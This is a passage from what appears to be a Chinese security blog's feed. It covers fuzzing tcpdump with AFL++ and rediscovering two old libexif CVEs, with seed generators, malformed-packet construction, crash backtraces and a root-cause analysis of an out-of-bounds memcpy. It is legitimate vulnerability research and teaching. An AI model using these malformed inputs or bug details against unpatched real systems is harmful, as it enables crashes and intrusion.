        Ether(dst=&quot;ff:ff:ff:ff:ff:ff&quot;)/IP(src=&quot;0.0.0.0&quot;, dst=&quot;255.255.255.255&quot;)/UDP(sport=68, dport=67)/BOOTP(xid=transaction_id, chaddr=chaddr)/DHCP(options=[(&quot;message-type&quot;, &quot;request&quot;), (&quot;requested_addr&quot;, &quot;192.168.1.100&quot;), (&quot;server_id&quot;, &quot;192.168.1.1&quot;), &quot;end&quot;]),
        # Ack
        Ether(dst=chaddr)/IP(src=&quot;192.168.1.1&quot;, dst=&quot;192.168.1.100&quot;)/UDP(sport=67, dport=68)/BOOTP(op=2, xid=transaction_id, yiaddr=&quot;192.168.1.100&quot;, siaddr=&quot;192.168.1.1&quot;, chaddr=chaddr)/DHCP(options=[(&quot;message-type&quot;, &quot;ack&quot;), (&quot;server_id&quot;, &quot;192.168.1.1&quot;), (&quot;lease_time&quot;, 86400), &quot;end&quot;])
    ])

    # 9.3 带有复杂选项的 DHCP (测试解析器健壮性)
    save_pcap(&quot;dhcp_options&quot;, [
        Ether()/IP(src=&quot;0.0.0.0&quot;, dst=&quot;255.255.255.255&quot;)/UDP(sport=68, dport=67)/BOOTP(chaddr=chaddr)/DHCP(options=[
            (&quot;message-type&quot;, &quot;discover&quot;),
            (&quot;hostname&quot;, &quot;fuzz-target-node&quot;),
            (&quot;param_req_list&quot;, [1, 3, 6, 12, 15, 28, 42]),
            (&quot;vendor_class_id&quot;, b&quot;MSFT 5.0&quot;),
            (&quot;client_id&quot;, b&quot;\x01&quot; + binascii.unhexlify(chaddr.replace(&apos;:&apos;,&apos;&apos;))),
            &quot;end&quot;
        ])
    ])

    # 10. BGP (历史上漏洞极多)
    # 模拟一个 BGP Keepalive 和 Open 消息
    save_pcap(&quot;bgp&quot;, [
        Ether()/IP(dst=&quot;1.1.1.1&quot;)/TCP(sport=179, dport=179)/BGPHeader(type=4), # Keepalive
        Ether()/IP(dst=&quot;1.1.1.1&quot;)/TCP(sport=179, dport=179)/BGPHeader(type=1)/BGPOpen(my_as=65000, hold_time=180) # Open
    ])

    # 11. SNMP (复杂编码，易出洞)
    save_pcap(&quot;snmp&quot;, [
        Ether()/IP(dst=&quot;1.2.3.4&quot;)/UDP(sport=161, dport=161)/SNMP(community=&quot;public&quot;, PDU=SNMPget(varbindlist=[SNMPvarbind(oid=ASN1_OID(&quot;1.3.6.1.2.1.1.1.0&quot;))]))
    ])

    # 12. OSPF (路由协议解析器很复杂)
    save_pcap(&quot;ospf&quot;, [
        Ether()/IP(dst=&quot;224.0.0.5&quot;)/OSPF_Hdr(type=1)/OSPF_Hello(router=&quot;1.1.1.1&quot;, mask=&quot;255.255.255.0&quot;)
    ])

    # 13. 畸形数据包 (Fuzz 核心：故意破坏长度字段)
    # 构造一个 IP 长度字段远大于实际数据的包
    malformed_ip = IP(len=100, dst=&quot;1.2.3.4&quot;)/TCP(dport=80)
    save_pcap(&quot;malformed_len&quot;, [Ether()/malformed_ip])

    # 14. 802.1Q VLAN 嵌套
    save_pcap(&quot;vlan&quot;, [
        Ether()/Dot1Q(vlan=10)/Dot1Q(vlan=20)/IP()/TCP()
    ])

    print(f&quot;语料生成完成，保存在 {CORPUS_DIR} 目录下。&quot;)

if __name__ == &quot;__main__&quot;:
    generate_corpus()
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;并且我加入 &lt;code&gt;AFL_LLVM_CMPLOG=1&lt;/code&gt; 编译了 CMPLOG 的版本，然后使用下面的指令重新 fuzz 。此外，这次用两个线程，我就不信这次还跑不出来/mad&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;mkdir -p /dev/shm/asan
mkdir -p /dev/shm/asan_cmplog

AFL_TMPDIR=/dev/shm/asan \
afl-fuzz -i clean_seeds_v4 \
         -o outs_v4 \
         -s 1337 \
         -m none \
         -M asan \
         -- ./tcpdump-fuzz/sbin/tcpdump -vvvvXX -ee -nn -r @@

AFL_TMPDIR=/dev/shm/asan_cmplog \
afl-fuzz -i clean_seeds_v4 \
         -o outs_v4 \
         -m none \
         -c ./tcpdump-fuzz-cmplog/sbin/tcpdump \
         -S asan_cmplog \
         -- ./tcpdump-fuzz-cmplog/sbin/tcpdump -vvvvXX -ee -nn -r @@
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;传下去，我放弃了。&lt;/p&gt;
&lt;p&gt;哥们 fuzz 了三天出了一堆别的 CVE，就是没有能和 CVE-2017-13028 对上的……反正这个 chall 主要是教我们使用 ASAN 的，我们已经学会了，那就到此为止吧！&lt;/p&gt;
&lt;p&gt;btw ASAN 的 backtrace 还是很帅的（&lt;/p&gt;
&lt;p&gt;&amp;lt;center&amp;gt;
&amp;lt;img
src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.4qrvbq7tyj.avif&quot;
alt=&quot;&quot;
/&amp;gt;
&amp;lt;/center&amp;gt;&lt;/p&gt;
</content:encoded></item><item><title>Fuzz two legacy CVEs in libexif</title><link>https://cubeyond.net/posts/fuzz/libexif/</link><guid isPermaLink="true">https://cubeyond.net/posts/fuzz/libexif/</guid><description>Find  &amp; Patch two legacy CVEs in libexif library.</description><pubDate>Tue, 24 Feb 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;import CveCard from &quot;@components/misc/CveCard.astro&quot;;&lt;/p&gt;
&lt;h1&gt;Target CVEs&lt;/h1&gt;
&lt;h2&gt;Description&lt;/h2&gt;
&lt;p&gt;&amp;lt;CveCard id=&quot;CVE-2009-3895&quot; /&amp;gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;CveCard id=&quot;CVE-2012-2836&quot; /&amp;gt;&lt;/p&gt;
&lt;h1&gt;Compile&lt;/h1&gt;
&lt;h2&gt;Download&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;git clone https://github.com/libexif/libexif.git
cd libexif &amp;amp;&amp;amp; git checkout libexif-0_6_14-release
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Build&lt;/h2&gt;
&lt;p&gt;这里由于我在 make 的时候有关生成文档的地方报错了，所以我手动将文档部分 patch 掉：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;- SUBDIRS = m4m po libexif test doc binary
+ SUBDIRS = m4m po libexif test binary
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;autoreconf -fvi
CC=clang CXX=clang++ CFLAGS=&quot;-O0 -g -fno-inline -fno-builtin -fno-omit-frame-pointer&quot; CXXFLAGS=&quot;$CFLAGS&quot; ./configure --enable-shared=no --prefix=&quot;$PWD/../workshop/lib-debug/&quot;
make -j`nproc` &amp;amp;&amp;amp; make install
make clean

CC=afl-clang-lto CXX=afl-clang-lto++ ./configure --enable-shared=no --prefix=&quot;$PWD/../workshop/lib-fuzz/&quot;
make -j`nproc` &amp;amp;&amp;amp; make install
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;由于 libexif 只是一个库，所以我们要 fuzz 它需要自己找个前端，或者手写 harness 。方便起见，我直接使用 &lt;a href=&quot;https://github.com/libexif/exif&quot;&gt;exif&lt;/a&gt; 作为前端。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;git clone https://github.com/libexif/exif.git
cd exif &amp;amp;&amp;amp; git checkout exif-0_6_15-release
autoreconf -fvi
CC=clang CXX=clang++ CFLAGS=&quot;-O0 -g -fno-inline -fno-builtin -fno-omit-frame-pointer&quot; CXXFLAGS=&quot;$CFLAGS&quot; PKG_CONFIG_PATH=&quot;$PWD/../workshop/lib-debug/lib/pkgconfig/&quot; ./configure --enable-shared=no --prefix=&quot;$PWD/../workshop/exif-debug&quot;
make -j`nproc` &amp;amp;&amp;amp; make install
make clean

CC=afl-clang-lto CXX=afl-clang-lto++ PKG_CONFIG_PATH=&quot;$PWD/../workshop/lib-fuzz/lib/pkgconfig/&quot; ./configure --enable-shared=no --prefix=&quot;$PWD/../workshop/exif-fuzz&quot;
make -j`nproc` &amp;amp;&amp;amp; make install
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Samples&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;#!/usr/bin/env python3

import struct
import os

def pack_data(fmt, endian, *args):
    return struct.pack((&apos;&amp;lt;&apos; if endian == &apos;LE&apos; else &apos;&amp;gt;&apos;) + fmt, *args)

class ExifGenerator:
    def __init__(self, endian=&apos;LE&apos;):
        self.endian = endian
        self.entries = []
        self.data_blobs = b&apos;&apos;

    def add_entry(self, tag, data_type, count, value):
        self.entries.append({&apos;tag&apos;: tag, &apos;type&apos;: data_type, &apos;count&apos;: count, &apos;value&apos;: value})

    def build_ifd(self, start_offset, next_ifd_offset=0):
        ifd_data = pack_data(&apos;H&apos;, self.endian, len(self.entries))
        data_offset = start_offset + 2 + (len(self.entries) * 12) + 4

        entry_bytes = b&apos;&apos;
        blob_bytes = b&apos;&apos;

        for e in self.entries:
            val_bytes = b&apos;&apos;
            raw_blob = None

            if e[&apos;type&apos;] == 1: # BYTE
                if isinstance(e[&apos;value&apos;], int): raw_blob = pack_data(&apos;B&apos;, self.endian, e[&apos;value&apos;])
                else: raw_blob = e[&apos;value&apos;]
            elif e[&apos;type&apos;] == 2: # ASCII
                raw_blob = e[&apos;value&apos;].encode(&apos;ascii&apos;) + b&apos;\x00&apos;
            elif e[&apos;type&apos;] == 3: # SHORT
                if e[&apos;count&apos;] == 1: raw_blob = pack_data(&apos;H&apos;, self.endian, e[&apos;value&apos;])
                else: raw_blob = pack_data(&apos;H&apos;*e[&apos;count&apos;], self.endian, *e[&apos;value&apos;])
            elif e[&apos;type&apos;] == 4: # LONG
                if e[&apos;count&apos;] == 1: raw_blob = pack_data(&apos;I&apos;, self.endian, e[&apos;value&apos;])
                else: raw_blob = pack_data(&apos;I&apos;*e[&apos;count&apos;], self.endian, *e[&apos;value&apos;])
            elif e[&apos;type&apos;] == 5: # RATIONAL
                raw_blob = pack_data(&apos;II&apos;, self.endian, e[&apos;value&apos;][0], e[&apos;value&apos;][1])
            elif e[&apos;type&apos;] == 7: # UNDEFINED
                raw_blob = e[&apos;value&apos;]
            elif e[&apos;type&apos;] == 10: # SRATIONAL
                raw_blob = pack_data(&apos;ii&apos;, self.endian, e[&apos;value&apos;][0], e[&apos;value&apos;][1])

            if len(raw_blob) &amp;lt;= 4:
                val_bytes = raw_blob.ljust(4, b&apos;\x00&apos;)
            else:
                off = data_offset + len(blob_bytes)
                val_bytes = pack_data(&apos;I&apos;, self.endian, off)
                blob_bytes += raw_blob

            entry_bytes += pack_data(&apos;HHII&apos;, self.endian, e[&apos;tag&apos;], e[&apos;type&apos;], e[&apos;count&apos;], struct.unpack(&apos;&amp;lt;I&apos; if self.endian == &apos;LE&apos; else &apos;&amp;gt;I&apos;, val_bytes)[0])

        return ifd_data + entry_bytes + pack_data(&apos;I&apos;, self.endian, next_ifd_offset) + blob_bytes

def create_complex_exif(endian=&apos;LE&apos;):
    # 1. Build Exif SubIFD
    exif = ExifGenerator(endian)
    exif.add_entry(0x9003, 2, 20, &quot;2026:02:24 14:00:00&quot;)
    exif.add_entry(0x829a, 5, 1, (1, 100))
    exif.add_entry(0x829d, 5, 1, (28, 10))
    exif.add_entry(0x9204, 10, 1, (-1, 3))
    exif.add_entry(0x9286, 7, 8, b&quot;USERCOM\x00&quot;)
    exif_sub_data = exif.build_ifd(0) # Length check only first

    # 2. Build GPS IFD
    gps = ExifGenerator(endian)
    gps.add_entry(0x0000, 1, 4, b&apos;\x02\x02\x00\x00&apos;)
    gps.add_entry(0x0002, 5, 3, (1, 1)) # This will actually need 3 rationals, but let&apos;s keep it simple
    # Fix: GPS Latitude is 3 rationals
    gps.entries[-1] = {&apos;tag&apos;: 0x0002, &apos;type&apos;: 5, &apos;count&apos;: 3, &apos;value&apos;: (40, 1, 30, 1, 15, 1)}
    gps_data = gps.build_ifd(0)

    # 3. Build IFD0
    ifd0 = ExifGenerator(endian)
    ifd0.add_entry(0x010e, 2, 11, &quot;Fuzz Test&quot;)
    ifd0.add_entry(0x0110, 2, 11, &quot;Gemini Cam&quot;)
    ifd0.add_entry(0x8769, 4, 1, 0) # ExifOffset
    ifd0.add_entry(0x8825, 4, 1, 0) # GPSInfo

    # IFD0 fixed size: 2 + 4*12 + 4 = 54. Blobs: 11 + 11 = 22. Total = 76.
    ifd0_total_len = 76
    exif_offset = 8 + ifd0_total_len
    gps_offset = exif_offset + len(exif_sub_data)

    for e in ifd0.entries:
        if e[&apos;tag&apos;] == 0x8769: e[&apos;value&apos;] = exif_offset
        if e[&apos;tag&apos;] == 0x8825: e[&apos;value&apos;] = gps_offset

    final_ifd0 = ifd0.build_ifd(8)
    final_exif = exif.build_ifd(exif_offset)
    final_gps = gps.build_ifd(gps_offset)

    header = b&apos;II\x2a\x00\x08\x00\x00\x00&apos; if endian == &apos;LE&apos; else b&apos;MM\x00\x2a\x00\x00\x00\x08&apos;
    return header + final_ifd0 + final_exif + final_gps

def save_corpus(name, data, add_exif_header=False):
    os.makedirs(&apos;corpus/exif&apos;, exist_ok=True)
    with open(os.path.join(&apos;corpus/exif&apos;, name), &apos;wb&apos;) as f:
        if add_exif_header: f.write(b&apos;Exif\x00\x00&apos;)
        f.write(data)
    print(f&quot;Created {name}&quot;)

if __name__ == &quot;__main__&quot;:
    save_corpus(&apos;rich_le.exif&apos;, create_complex_exif(&apos;LE&apos;), True)
    save_corpus(&apos;rich_be.exif&apos;, create_complex_exif(&apos;BE&apos;), True)

    SOI, APP1 = b&apos;\xff\xd8&apos;, b&apos;\xff\xe1&apos;
    exif_payload = b&apos;Exif\x00\x00&apos; + create_complex_exif(&apos;LE&apos;)
    app1_data = APP1 + struct.pack(&apos;&amp;gt;H&apos;, len(exif_payload) + 2) + exif_payload
    save_corpus(&apos;rich_jpeg.jpg&apos;, SOI + app1_data + b&apos;\xff\xd9&apos;)
    save_corpus(&apos;raw_tiff.exif&apos;, create_complex_exif(&apos;LE&apos;), False)
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;Fuzzing&lt;/h1&gt;
&lt;p&gt;AFLplusplus go work: &lt;code&gt;afl-fuzz -i - -o out/ -s 1337 -- ./exif-fuzz/bin/exif @@&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;这个 Gemini Cam 还挺滑稽的哈哈哈：&lt;/p&gt;
&lt;p&gt;&amp;lt;center&amp;gt;
&amp;lt;img
src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.8s3ud0wapg.avif&quot;
alt=&quot;&quot;
/&amp;gt;
&amp;lt;/center&amp;gt;&lt;/p&gt;
&lt;p&gt;13 个 crashes，4 个 hangs，其中有这几种独立的 crash 情况：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Program received signal SIGSEGV, Segmentation fault.
0x00007ffff7e595c1 in memcpy () from /usr/lib64/libc.so.6
#0  0x00007ffff7e595c1 in memcpy () from /usr/lib64/libc.so.6
#1  0x0000555555565553 in exif_data_load_data_thumbnail (data=0x5555555931e0, d=0x555555595986 &quot;II*&quot;, ds=256, offset=4294967168, size=232) at exif-data.c:292
#2  0x0000555555563d05 in exif_data_load_data_content (data=0x5555555931e0, ifd=EXIF_IFD_EXIF, d=0x555555595986 &quot;II*&quot;, ds=256, offset=86, recursion_depth=1) at exif-data.c:381
#3  0x0000555555563b36 in exif_data_load_data_content (data=0x5555555931e0, ifd=EXIF_IFD_0, d=0x555555595986 &quot;II*&quot;, ds=256, offset=10, recursion_depth=0) at exif-data.c:361
#4  0x0000555555563621 in exif_data_load_data (data=0x5555555931e0, d_orig=0x555555595980 &quot;Exif&quot;, ds_orig=262) at exif-data.c:813
#5  0x000055555556cb9b in exif_loader_get_data (loader=0x555555593190) at exif-loader.c:387
#6  0x000055555555f73e in main (argc=2, argv=0x7fffffffdca8) at main.c:438

Program received signal SIGSEGV, Segmentation fault.
0x000055555556e60f in exif_get_slong (b=0x5555555b2000 &amp;lt;error: Cannot access memory at address 0x5555555b2000&amp;gt;, order=EXIF_BYTE_ORDER_INTEL) at exif-utils.c:129
129     return ((b[3] &amp;lt;&amp;lt; 24) | (b[2] &amp;lt;&amp;lt; 16) | (b[1] &amp;lt;&amp;lt; 8) | b[0]);
#0  0x000055555556e60f in exif_get_slong (b=0x5555555b2000 &amp;lt;error: Cannot access memory at address 0x5555555b2000&amp;gt;, order=EXIF_BYTE_ORDER_INTEL) at exif-utils.c:129
#1  0x000055555556e49f in exif_get_long (buf=0x5555555b2000 &amp;lt;error: Cannot access memory at address 0x5555555b2000&amp;gt;, order=EXIF_BYTE_ORDER_INTEL) at exif-utils.c:156
#2  0x0000555555566026 in exif_entry_fix (e=0x555555593460) at exif-entry.c:189
#3  0x0000555555562d6d in fix_func (e=0x555555593460, data=0x0) at exif-content.c:211
#4  0x0000555555562a13 in exif_content_foreach_entry (content=0x555555593270, func=0x555555562d50 &amp;lt;fix_func&amp;gt;, data=0x0) at exif-content.c:185
#5  0x0000555555562bdc in exif_content_fix (c=0x555555593270) at exif-content.c:225
#6  0x0000555555565481 in fix_func (c=0x555555593270, data=0x0) at exif-data.c:1082
#7  0x00005555555650ca in exif_data_foreach_content (data=0x5555555931e0, func=0x5555555653e0 &amp;lt;fix_func&amp;gt;, user_data=0x0) at exif-data.c:965
#8  0x00005555555643d4 in exif_data_fix (d=0x5555555931e0) at exif-data.c:1087
#9  0x0000555555563886 in exif_data_load_data (data=0x5555555931e0, d_orig=0x555555595980 &quot;&quot;, ds_orig=82) at exif-data.c:826
#10 0x000055555556cbeb in exif_loader_get_data (loader=0x555555593190) at exif-loader.c:368
#11 0x000055555555f75e in main (argc=2, argv=0x7fffffffdbe8) at main.c:438

Program received signal SIGSEGV, Segmentation fault.
0x000055555556e3d2 in exif_get_sshort (buf=0x555655595985 &amp;lt;error: Cannot access memory at address 0x555655595985&amp;gt;, order=EXIF_BYTE_ORDER_INTEL) at exif-utils.c:92
92     return ((buf[1] &amp;lt;&amp;lt; 8) | buf[0]);
#0  0x000055555556e3d2 in exif_get_sshort (buf=0x555655595985 &amp;lt;error: Cannot access memory at address 0x555655595985&amp;gt;, order=EXIF_BYTE_ORDER_INTEL) at exif-utils.c:92
#1  0x000055555556e33f in exif_get_short (buf=0x555655595985 &amp;lt;error: Cannot access memory at address 0x555655595985&amp;gt;, order=EXIF_BYTE_ORDER_INTEL) at exif-utils.c:100
#2  0x0000555555563671 in exif_data_load_data (data=0x5555555931e0, d_orig=0x555555595980 &quot;Exif&quot;, ds_orig=61) at exif-data.c:775
#3  0x000055555556cbeb in exif_loader_get_data (loader=0x555555593190) at exif-loader.c:368
#4  0x000055555555f75e in main (argc=2, argv=0x7fffffffdbe8) at main.c:438
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;hang 的情况比较唯一，全是卡在 &lt;code&gt;exif_loader_write&lt;/code&gt; 这里：&lt;/p&gt;
&lt;p&gt;&amp;lt;center&amp;gt;
&amp;lt;img
src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.39lpzh3w27.avif&quot;
alt=&quot;&quot;
/&amp;gt;
&amp;lt;/center&amp;gt;&lt;/p&gt;
&lt;p&gt;这里附赠一个我看各个崩溃回溯的脚本：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;#!/usr/bin/env bash

TARGET=&quot;./exif-debug/bin/exif&quot;
CRASH_DIR=&quot;./out/default/crashes&quot;
OUTPUT_LOG=&quot;crash_reports.txt&quot;

&amp;gt;&quot;$OUTPUT_LOG&quot;

echo &quot;[+] Analysing crashes in $CRASH_DIR...&quot;

for crash_file in &quot;$CRASH_DIR&quot;/id:*; do
  [ -e &quot;$crash_file&quot; ] || continue

  echo &quot;--------------------------------------------------&quot; &amp;gt;&amp;gt;&quot;$OUTPUT_LOG&quot;
  echo &quot;File: $(basename &quot;$crash_file&quot;)&quot; &amp;gt;&amp;gt;&quot;$OUTPUT_LOG&quot;

  gdb --batch \
    --ex &quot;run&quot; \
    --ex &quot;bt&quot; \
    --ex &quot;quit&quot; \
    --args &quot;$TARGET&quot; &quot;$crash_file&quot; &amp;gt;&amp;gt;&quot;$OUTPUT_LOG&quot; 2&amp;gt;&amp;amp;1

  echo -e &quot;\n&quot; &amp;gt;&amp;gt;&quot;$OUTPUT_LOG&quot;
done

echo &quot;[+] Done! Result in: $OUTPUT_LOG&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;Analysis&lt;/h1&gt;
&lt;p&gt;这个项目有 API 文档，不用自己猜函数功能了：&lt;a href=&quot;https://libexif.github.io/docs.html&quot;&gt;libexif Project Documentation&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;&lt;s&gt;好的，继续玩 MC，快开学了，谁学啊！？&lt;/s&gt;&lt;/p&gt;
&lt;h2&gt;CVE-2012-2836&lt;/h2&gt;
&lt;p&gt;先分析一下这个样本，栈回溯如下：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;#0  0x00007ffff7e595c1 in memcpy () from /usr/lib64/libc.so.6
#1  0x0000555555565553 in exif_data_load_data_thumbnail (data=0x5555555931e0, d=0x555555595986 &quot;II*&quot;, ds=256, offset=4294967168, size=232) at exif-data.c:292
#2  0x0000555555563d05 in exif_data_load_data_content (data=0x5555555931e0, ifd=EXIF_IFD_EXIF, d=0x555555595986 &quot;II*&quot;, ds=256, offset=86, recursion_depth=1) at exif-data.c:381
#3  0x0000555555563b36 in exif_data_load_data_content (data=0x5555555931e0, ifd=EXIF_IFD_0, d=0x555555595986 &quot;II*&quot;, ds=256, offset=10, recursion_depth=0) at exif-data.c:361
#4  0x0000555555563621 in exif_data_load_data (data=0x5555555931e0, d_orig=0x555555595980 &quot;Exif&quot;, ds_orig=262) at exif-data.c:813
#5  0x000055555556cb9b in exif_loader_get_data (loader=0x555555593190) at exif-loader.c:387
#6  0x000055555555f73e in main (argc=2, argv=0x7fffffffdca8) at main.c:438
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;exif_loader_get_data&lt;/code&gt; 负责为 &lt;code&gt;ExifData&lt;/code&gt; 结构体开辟空间，然后使用 &lt;code&gt;exif_data_load_data&lt;/code&gt; 将内存中的 JPEG / EXIF &lt;em&gt;header&lt;/em&gt;, &lt;em&gt;byte order&lt;/em&gt;, &lt;em&gt;fixed value&lt;/em&gt; 等信息加载到 ExifData 结构体中，进行一些简单的校验，并初始化 &lt;em&gt;IFD 0&lt;/em&gt; 和 &lt;em&gt;IFD 1&lt;/em&gt;。初始化 IFD 字段是通过调用 &lt;code&gt;exif_data_load_data_content&lt;/code&gt; 实现的。&lt;/p&gt;
&lt;p&gt;&amp;lt;center&amp;gt;
&amp;lt;img
src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.92qoah6kym.avif&quot;
alt=&quot;&quot;
/&amp;gt;
&amp;lt;/center&amp;gt;&lt;/p&gt;
&lt;p&gt;根据这个 switch 就可以看出来，很显然，load data content 大致应该就是将 exif 图片的各个字段信息加载进去。&lt;/p&gt;
&lt;p&gt;继续调试，我们在 &lt;code&gt;EXIF_TAG_EXIF_IFD_POINTER&lt;/code&gt; 这个 case 调用了 &lt;code&gt;exif_data_load_data_content&lt;/code&gt;，此时传入的 ifd 为 &lt;code&gt;EXIF_IFD_EXIF&lt;/code&gt;，而我们后续也是在这里面执行 &lt;code&gt;exif_data_load_data_thumbnail&lt;/code&gt; 时崩溃的，所以要重点分析一下这部分。&lt;/p&gt;
&lt;p&gt;首先确定一下在第几次循环的时候崩溃，我们直接 &lt;code&gt;c&lt;/code&gt; 让它崩，然后切换到对应栈帧查看 &lt;code&gt;i&lt;/code&gt;，发现是第 13 次调用了 &lt;code&gt;exif_data_load_data_thumbnail&lt;/code&gt;：&lt;/p&gt;
&lt;p&gt;&amp;lt;center&amp;gt;
&amp;lt;img
src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.9kgpz2zpfk.avif&quot;
alt=&quot;&quot;
/&amp;gt;
&amp;lt;/center&amp;gt;&lt;/p&gt;
&lt;p&gt;然后通过 &lt;code&gt;if i == 13&lt;/code&gt; 下条件断点，定位到触发崩溃的循环索引继续分析。由于这里有两个调用 &lt;code&gt;exif_data_load_data_thumbnail&lt;/code&gt; 的位置，而我们不知道具体会调用哪一个，因此如果我们下的那个断点不是实际的调用点，那就停不下来了。所以这里两个位置都需要下一个断点：&lt;/p&gt;
&lt;p&gt;&amp;lt;center&amp;gt;
&amp;lt;img
src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.8ok8jnphmq.avif&quot;
alt=&quot;&quot;
/&amp;gt;
&amp;lt;img
src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.7w7d1x7eu9.avif&quot;
alt=&quot;&quot;
/&amp;gt;
&amp;lt;/center&amp;gt;&lt;/p&gt;
&lt;p&gt;最后我们发现它执行的是 381 行处的代码，整洁起见，之前 374 行处的断点就可以删掉了。&lt;/p&gt;
&lt;p&gt;&amp;lt;center&amp;gt;
&amp;lt;img
src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.32ii5su2d6.avif&quot;
alt=&quot;&quot;
/&amp;gt;
&amp;lt;/center&amp;gt;&lt;/p&gt;
&lt;p&gt;步入继续，发现致使 &lt;code&gt;memcpy&lt;/code&gt; 崩溃的原因是 &lt;code&gt;rsi&lt;/code&gt; 无法解引用：&lt;/p&gt;
&lt;p&gt;&amp;lt;center&amp;gt;
&amp;lt;img
src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.6po1tbt9wu.avif&quot;
alt=&quot;&quot;
/&amp;gt;
&amp;lt;/center&amp;gt;&lt;/p&gt;
&lt;p&gt;接下来重点看这个 &lt;code&gt;exif_data_load_data_thumbnail&lt;/code&gt; 的逻辑：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// ► 0x555555563d00 &amp;lt;exif_data_load_data_content+1168&amp;gt;    call   exif_data_load_data_thumbnail &amp;lt;exif_data_load_data_thumbnail&amp;gt;
//        rdi: 0x555555593240 —▸ 0x5555555932d0 —▸ 0x5555555934a0 —▸ 0x555555593420 ◂— 0x200000110
//        rsi: 0x555555595986 ◂— 0x8002a4949 /* &apos;II*&apos; */
//        rdx: 0x100
//        rcx: 0xffffff80
//        r8: 0xe8

static void
exif_data_load_data_thumbnail (ExifData *data, const unsigned char *d,
          unsigned int ds, ExifLong offset, ExifLong size)
{
 if (ds &amp;lt; offset + size) {
  exif_log (data-&amp;gt;priv-&amp;gt;log, EXIF_LOG_CODE_DEBUG, &quot;ExifData&quot;,
     &quot;Bogus thumbnail offset and size: %i &amp;lt; %i + %i.&quot;,
     (int) ds, (int) offset, (int) size);
  return;
 }
 if (data-&amp;gt;data)
  exif_mem_free (data-&amp;gt;priv-&amp;gt;mem, data-&amp;gt;data);
 data-&amp;gt;size = size;
 data-&amp;gt;data = exif_data_alloc (data, data-&amp;gt;size);
 if (!data-&amp;gt;data)
  return;
 memcpy (data-&amp;gt;data, d + offset, data-&amp;gt;size);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;通过调试，我们可知它根本不会进入那三个 if branch，也就是说，这个函数只执行了如下三行代码：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;data-&amp;gt;size = size;
data-&amp;gt;data = exif_data_alloc (data, data-&amp;gt;size);
memcpy (data-&amp;gt;data, d + offset, data-&amp;gt;size);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;即将 &lt;em&gt;size&lt;/em&gt; 设置为 &lt;code&gt;r8&lt;/code&gt;，将 &lt;em&gt;data&lt;/em&gt; 设置为 &lt;code&gt;exif_data_alloc&lt;/code&gt; 分配出来的值，而 &lt;em&gt;src&lt;/em&gt; 则是 &lt;code&gt;d + offset&lt;/code&gt; 的值，即 &lt;code&gt;rsi + 0xffffff80&lt;/code&gt;：&lt;/p&gt;
&lt;p&gt;&amp;lt;center&amp;gt;
&amp;lt;img
src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.icnt6cnbs.avif&quot;
alt=&quot;&quot;
/&amp;gt;
&amp;lt;/center&amp;gt;&lt;/p&gt;
&lt;p&gt;显然，这个 &lt;code&gt;offset&lt;/code&gt; 特别大，而经调试，我们的 rsi 其实是合法值，那么问题就处在 offset 上了。&lt;/p&gt;
&lt;p&gt;回溯发现，在给 &lt;code&gt;exif_data_load_data_thumbnail&lt;/code&gt; 传参时，offset 的值就有问题了：&lt;/p&gt;
&lt;p&gt;&amp;lt;center&amp;gt;
&amp;lt;img
src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.6f18073lot.avif&quot;
alt=&quot;&quot;
/&amp;gt;
&amp;lt;/center&amp;gt;&lt;/p&gt;
&lt;p&gt;通过查看二进制数据，我们很容易定位到一个类似的数据：&lt;/p&gt;
&lt;p&gt;&amp;lt;center&amp;gt;
&amp;lt;img
src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.67y04sub0g.avif&quot;
alt=&quot;&quot;
/&amp;gt;
&amp;lt;/center&amp;gt;&lt;/p&gt;
&lt;p&gt;尝试直接将其修改为 &lt;code&gt;0xCAFEBABE&lt;/code&gt;，然后再调试一下。调试之前我们可以先使用 &lt;code&gt;save breakpoints bps&lt;/code&gt; 将断点信息保存到 &lt;code&gt;bps&lt;/code&gt; 文件，之后通过 &lt;code&gt;source bps&lt;/code&gt; 加载。&lt;/p&gt;
&lt;p&gt;&amp;lt;center&amp;gt;
